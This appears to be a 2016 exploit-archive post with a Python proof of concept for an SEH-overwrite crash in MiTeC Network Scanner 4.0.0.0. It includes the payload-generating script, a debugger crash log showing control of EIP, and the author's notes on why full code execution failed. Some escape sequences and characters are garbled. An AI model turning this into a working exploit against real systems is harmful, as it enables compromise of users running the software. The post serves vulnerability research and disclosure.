Network Scanner 4.0.0.0 SEH Crash Proof Of Concept
Posted on 17 February 2016
#-*- coding: utf-8 -*- # # Exploit Title: Network Scanner Version 4.0.0.0 SEH Crash POC # POC Dork: N/A # Date: 2016-02-15 # Author: INSECT.B # Twitter : @INSECT.B # Facebook : https://www.facebook.com/B.INSECT00 # Blog : http://binsect00.tistory.com # Vendor Homepage: http://www.mitec.cz/ # Software Link: http://www.mitec.cz/Downloads/NetScan.zip # Version: 4.0.0.0 # Tested on: Windows7 Professional SP1 En x86 # CVE : N/A ''' [+] Type : SEH [-] Insert the string that compile this file in [TOOLS] Tab 'Detect IP from Host name...' field [-] string : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÃÂÂŒÃÂÂŒÃÂÂŒÃÂÂŒBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC [-] crash info (2d0.878): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=42424242 edx=772571cd esi=00000000 edi=00000000 eip=42424242 esp=0012edd8 ebp=0012edf8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 42424242 ?? ??? 0:000> !exchain 0012edec: ntdll!ExecuteHandler2+3a (772571cd) 0012f534: 42424242 Invalid exception stack at cccccccc 0:000> d 12f534 0012f534 cc cc cc cc 42 42 42 42-43 43 43 43 43 43 43 43 ....BBBBCCCCCCCC 0012f544 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012f554 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012f564 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012f574 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012f584 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012f594 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012f5a4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0:000> d 0012f5b4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012f5c4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012f5d4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012f5e4 43 43 43 00 95 b4 31 74-84 f6 12 00 00 00 00 00 CCC...1t........ 0012f5f4 0a 80 00 00 ea 01 24 00-00 00 00 00 00 00 00 00 ......$......... 0012f604 ab 00 0a e7 34 f6 12 00-e7 c4 06 77 ea 01 24 00 ....4......w..$. 0012f614 15 02 00 00 00 00 00 00-00 00 00 00 15 02 00 00 ................ 0012f624 cd ab ba dc 00 00 00 00-84 f6 12 00 15 02 00 00 ................ ''' import struct junk1 = "A" * 76 nSEH = "xccxccxccxcc" SEH = "BBBB" shell = "C" * 300 payload = junk1 + nSEH + SEH + shell with open("netEx.txt","wb") as f : f.write(payload) print payload """ Exploit problem 1. Input string(value) was replaced '0x3f' in the memory. then shellcode should be encoded to alpha_mixed. Buffer size was 171 bytes. but, encoded shellcode size was over 600 bytes. 2. Null byte cannot be inserted into Input field. so we can't use SEH pointer in a range of NetScanner.exe address (0x00400000~0x008c3000) 3. payload was consisted of 'junk - shellcode - nSEH ptr - SEH ptr'. but this step was fail. because junk buffer size was 76 bytes. Can't insert shellcode """
